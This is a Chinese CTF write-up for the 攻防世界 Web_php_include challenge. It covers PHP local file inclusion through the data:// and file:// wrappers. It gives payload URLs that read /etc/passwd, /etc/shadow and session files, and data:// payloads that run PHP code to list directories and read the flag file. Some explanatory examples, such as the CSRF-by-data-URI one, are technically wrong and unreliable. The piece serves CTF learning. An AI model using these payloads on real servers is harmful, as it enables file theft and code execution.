[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

这篇具有很好参考价值的文章主要介绍了[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全

代码审计

这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET['hello'] 显示 URL 参数中名为 hello 的值。

接下来,代码使用 $_GET['page'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串
这是为了防止通过 URL 参数加载本地文件或其他可疑文件以实现攻击。

最后,代码使用 include($page) 加载根据 GET 参数动态指定的文件。

PHP_include

php_include 是 PHP 语言中一个重要的文件包含机制,可以将一个 PHP 文件包含到另一个 PHP 脚本文件中。该机制通常用于代码复用和模块化开发,在不同的 PHP 文件之间实现函数和类等代码的共享。

在 PHP 中,有两种文件包含机制:includerequire。它们都可以将指定的 PHP 文件包含到当前脚本中,但两者在出错处理和返回值方面稍有不同。具体来说:

  • include:如果包含文件不存在或者出现错误,PHP 会发出警告并继续执行脚本。
  • require:如果包含文件不存在或者出现错误,PHP 会立即停止脚本执行,并抛出致命错误。

此外,还有两个特殊的文件包含机制:include_oncerequire_once。它们可以确保包含文件只被包含一次,避免重复包含和执行。

例子:

<?php
// include.php 文件内容
function add($a, $b) {
    return $a + $b;
}

// index.php 文件内容
include 'include.php'; // 包含 include.php 文件
echo add(2, 3); // 调用包含文件中的函数
?>

在上面的例子中,index.php 文件使用 include 语句包含了 include.php 文件,并调用其中定义的 add 函数,实现了代码的复用。


文件包含漏洞及伪协议Payload

文件包含漏洞(Local File Inclusion,LFI)是一种常见的 web 应用程序漏洞,攻击者利用该漏洞可以读取本地服务器上的敏感文件,或执行任意代码,从而实现对系统的控制。

PHP伪协议

PHP 伪协议是一种特殊的 URI 协议,可以绕过通常的协议限制,直接访问本地文件和执行 PHP 代码。

恶意 PHP 伪协议

以下是一些常见的Payload:

  1. 读取 /etc/passwd 文件,显示系统用户列表
http://example.com/index.php?page=/etc/passwd
  1. 读取 /etc/shadow 文件,尝试破解系统用户密码
http://example.com/index.php?page=/etc/shadow
  1. 读取当前目录下的敏感文件
http://example.com/index.php?page=../../../etc/passwd
  1. 读取 MySQL 配置文件,获取数据库连接信息
http://example.com/index.php?page=/var/www/config.php
  1. 读取 PHP Session 文件,窃取用户会话信息
http://example.com/index.php?page=/var/lib/php/sessions/sess_SESSION_ID
  1. 利用 expect 协议执行任意命令
http://example.com/index.php?page=expect://id
  1. 利用 data 协议读取 base64 编码的文件内容
http://example.com/index.php?page=data:text/plain;base64,PD9waHAgc2V0X3RpbWUoJ2hvc3QnKTsgPz4=

data伪协议

data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度。data URI 的语法如下:

data:[<mediatype>][;base64],<data>

其中,mediatype 是媒体类型,例如 text/plainimage/jpegaudio/mpeg 等;如果数据需要进行 base64 编码,则在 media type 后添加 ;base64 标记;data 是实际的数据内容。

例如,下面的代码就是将一张图片内嵌到 HTML 页面中:

<img src="data:image/png;base64,iVBORw0KG..."/>

恶意 data 伪协议

  1. XSS 攻击:

攻击者可以构造如下的 data URI:

data:text/html;<script>alert('恶意脚本')</script>

将其嵌入到 web 页面中:

<iframe src="data:text/html;<script>alert('恶意脚本')</script>"></iframe>

当用户访问页面时,将会弹出一个恶意的弹窗提示框,这可能会窃取用户信息或执行其他恶意行为。

  1. CSRF 攻击:

攻击者可以构造如下的 data URI:

data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>

将其嵌入到 web 页面中:

<img src="data:application/x-www-form-urlencoded;name=attack;action=http://example.com/transfer;method=post;<input type=hidden name=amount value=100000><input type=hidden name=to value=hacker>" />

当用户访问页面时,将会自动发起一笔转账请求,将 100000 元转账到攻击者指定的账户上。

  1. 钓鱼诈骗:

攻击者可以构造如下的 data URI:

data:text/html;<meta http-equiv=refresh content='0; url=http://example.com/login.html'>

伪装成合法网站,并将其嵌入到欺骗用户的邮件或者社交媒体中。当用户点击链接访问页面时,将会跳转到攻击者指定的网站,可能会泄漏个人隐私信息。

Payload:
Cookie外带
?page=data://text/plain,<script>alert(document.cookie)</script>

ping本地回环地址
?page=data://text/plain,<?php system("ping 127.0.0.1");?>

Base64编码绕过
?page=data://text/plain;base64,PD9waHAgZWNobyBwaHBpbmZvKCk7Pz4=
攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全

查看PHP info
?page=data://text/plain,<?php echo phpinfo();?>

模板
?page=data://text/plain,恶意代码


file伪协议

file 伪协议用于访问本地文件系统中的文件,可以在 web 页面中链接到本地文件,或者读取本地文件中的数据。file URI 的语法如下:

file://<host>/<path>

其中,host 表示主机名或 IP 地址(可省略),path 表示文件路径(必须以 / 开头)。例如,下面的代码就是链接到本地的 index.html 文件:

<a href="file:///var/www/html/index.html">Click me</a>

恶意 file 伪协议

file 伪协议用于指定本地文件路径,例如:

file:///C:/Users/Desktop/index.html

如果一个 web 页面使用 file 伪协议来加载本地文件,那么攻击者可以通过构造特定的文件路径,来实现一些恶意行为。

  1. 文件包含漏洞:攻击者可以将恶意代码写入到本地文件中,并将其路径构造成 file 伪协议形式,从而实现对 web 应用的攻击。例如,攻击者可以构造如下的路径:
file:///C:/Users/hacker/attack.php?parameter=<script>alert('恶意脚本')</script>
  1. 钓鱼诈骗:攻击者可以将伪装成合法网站的本地文件,例如 login.html,然后使用 file 伪协议来引用该文件,从而欺骗用户输入自己的账户信息。例如,攻击者可以构造如下的路径:
file:///C:/Users/hacker/login.html

然后将该路径作为链接的 href 属性值,发送给用户。


知识点及姿势

由于没有对 $page 变量进行足够的过滤和验证,因此可使用文件包含读取flag
Payload:?page=data://text/plain,<?php echo phpinfo();?>

攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全
由上图可知,data伪协议执行成功。

读取目录路径

  1. $_SERVER['DOCUMENT_ROOT']; 会返回当前运行 PHP 脚本所在的文档根目录(Document Root)的绝对路径。

  2. 使用 $_SERVER['CONTEXT_DOCUMENT_ROOT'] 变量,它返回当前运行 PHP 脚本所在上下文的文档根目录的绝对路径。

  3. 使用 dirname(__FILE__) 函数,该函数返回当前执行的 PHP 脚本所在位置的绝对路径。

  4. 使用 getcwd() 函数,该函数返回当前工作目录的绝对路径。此方法适用于在 PHP 执行期间更改当前工作目录的情况。

需要注意的是,在 PHP 7.0 及以后版本中,不再推荐使用 __FILE__ 常量,而是建议使用 __DIR__ 常量来代替 dirname(__FILE__) 函数。

如果网站根目录是 /var/www/html,则可以使用以下任意一种方式来获取网站根目录路径:

// 方法1
$rootPath = $_SERVER['DOCUMENT_ROOT'];

// 方法2
$rootPath = dirname(__FILE__);

// 方法3
$rootPath = getcwd();

// 方法4
$rootPath = $_SERVER['CONTEXT_DOCUMENT_ROOT'];

dirname(FILE)读取目录路径实例

举例如下:
Payload ?page=data://text/plain,<?php echo dirname(__FILE__);?>
攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全
由上图可知,dirname(FILE)返回了当前执行的 PHP 脚本所在位置的绝对路径text


Payload ?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>
攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全
由上图可知,$_SERVER['DOCUMENT_ROOT']; 返回了当前运行 PHP 脚本所在的文档根目录的绝对路径/var/www

读取目录文件

PHP 中一些获取目录下文件和子目录的函数:

  1. scandir('指定目录') 函数将返回指定目录中的所有文件和子目录的数组列表

  2. glob($pattern, $flags):根据指定模式匹配获取与之匹配的文件或目录列表。$pattern 参数是一个通配符模式,支持 *? 等通配符,例如 *.txt 匹配所有以 .txt 结尾的文件。如果要获取文件和目录,可以使用 * 作为通配符。$flags 参数是一个可选参数,用于设置匹配模式和排序规则等。

  3. scanglob($directory, $pattern):类似于 glob 函数,但是可以在指定的目录下递归搜索匹配指定模式的文件或目录。$directory 参数是要搜索的目录,$pattern 参数是要匹配的通配符模式。


glob读取目录文件实例

例如,基于代码可以打印输出目录 /var/www 下所有以 .php 结尾的文件列表:

foreach (glob("/var/www/*.php") as $file) {
    echo basename($file) . "\n";
}

基于以上代码构造POC:

?page=data://text/plain,<?php foreach (glob("/var/www/*.php") as $file){echo basename($file) . "\n";}?>

回显如下:

攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全


Payload?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>
攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全由上图,回显fl4gisisish3r3.php

读取文件内容

file_get_contents($filename) 是 PHP 中一个常用的文件操作函数,它可以返回指定文件的内容
Payload:?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo $a; ?>
该Payload正确,但无回显。

猜测fl4gisisish3r3.php中字符串为HTML标签,从而被当作HTML元素来解析和显示
Payload?page=data://text/plain,<?php $a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars($a); ?>
攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全
如上图,猜测正确。


readfile读取文件内容实例

如果想使用 readfile 函数读取文件并输出到浏览器,但又希望避免浏览器解析 HTML 元素,可以使用 PHP 的 header() 函数来设置响应头,将输出内容的类型设置为纯文本格式。

下面的代码演示如何通过 readfile 函数将文件内容输出到浏览器,并避免 HTML 元素被解析:

<?php
// 设置响应头,将输出内容的类型设置为纯文本格式
header("Content-Type: text/plain");

// 使用 readfile 函数读取文件内容并输出到浏览器
readfile("fl4gisisish3r3.php");
?>

基于以上代码构造POC:?page=data://text/plain,<?php header("Content-Type: text/plain");readfile("fl4gisisish3r3.php");?>

攻防世界web_php_include,# CTF赛题,网络安全,# 文件包含漏洞,web安全,CTF,php,网络安全


总结

该题考察文件包含漏洞,涉及PHP伪协议data伪协议file伪协议PHP内置函数等知识点,读者可躬身实践。

我是秋说,我们下次见。文章来源地址https://www.toymoban.com/news/detail-715849.html

到了这里,关于[CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • [CTF/网络安全] 攻防世界 view_source 解题详析

    题目描述:X老师让小宁同学查看一个网页的源代码,但小宁同学发现鼠标右键好像不管用了。 单击鼠标右键,点击查看页面源代码: 使用浏览器菜单:不同的浏览器可能会在不同的位置提供查看页面源代码的选项。 以Firefox为例,打开应用程序菜单即可: 使用快捷键:几乎

    2024年02月13日
    浏览(58)
  • [CTF/网络安全] 攻防世界 wife_wife 解题详析

    该题涉及Java Script原型链污染:JavaScript 原型链污染讲解 可以看到,后端编程语言为Node.js, 简单来讲,通过 newUser.__proto__ 可以访问到新对象的原型 未污染时: 污染时: 我们以知识点的利用为主,查看源代码: 若isAdmin的属性是true,则它为管理员,否则为普通用户;于是我

    2024年02月06日
    浏览(50)
  • [CTF/网络安全] 攻防世界 disabled_button 解题详析

    题目描述:X老师今天上课讲了前端知识,然后给了大家一个不能按的按钮,小宁惊奇地发现这个按钮按不下去,到底怎么才能按下去呢? 题目提示 前端知识 ,由HTML相关知识可知,该按钮 即input标签 不能提交的原因有以下六种: 没有包含在表单中: input 标签必须包含在表

    2024年02月07日
    浏览(59)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(53)
  • [CTF/网络安全] 攻防世界 command_execution 解题详析

    题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。 ping 命令是一个常用的网络命令,用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包,并等待目标计算机返回响应数据包来测试网络的可达性,同时

    2024年02月06日
    浏览(49)
  • [CTF/网络安全] 攻防世界 fileinclude 解题详析(php伪协议)

    由于index.php在/var/www/html目录下,而flag.php与index.php同为php文件,故猜想flag.php也在该目录下。 查看页面源代码获取更多信息: 源代码中看到 @include($lan.\\\".php\\\"); ,即此处存在文件包含。 又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为:利用php伪协议,构造language参数,来读取该目

    2024年02月07日
    浏览(46)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(47)
  • [CTF/网络安全] 攻防世界 weak_auth 解题详析

    题目描述:小宁写了一个登陆验证页面,随手就设了一个密码。 weak_auth翻译: 弱认证 这个术语通常用来描述一种较弱的安全认证方法或机制,它可能存在安全漏洞,易受到攻击或者被绕过。 在信息安全领域中,弱认证是一种常见的安全威胁。例如,使用简单的密码或者未加

    2024年02月13日
    浏览(48)
  • [CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)

    题目描述:怎么读取文件呢? 思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php POC的构造涉及PHP伪协议,参考链接: 文件包含 | PHP伪协议实战 POC: 回显如下: 猜测被过滤,怎么办呢? 该题涉及到 convert转换过滤器 常见的convert转换过滤器有这两种:

    2024年02月07日
    浏览(71)
  • 有哪些信息安全/网络安全/渗透测试/众测/CTF/红蓝攻防/漏洞测试等前沿技术/研究/技巧获取渠道?

    护网的定义是以国家组织组织事业单位、国企单位、名企单位等开展攻防两方的网络安全演习。进攻方一个月内采取不限方式对防守方展开进攻,不管任何手段只要攻破防守方的网络并且留下标记即成功,直接冲到防守方的办公大楼,然后物理攻破也算成功。护网是国家应对

    2024年02月06日
    浏览(56)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包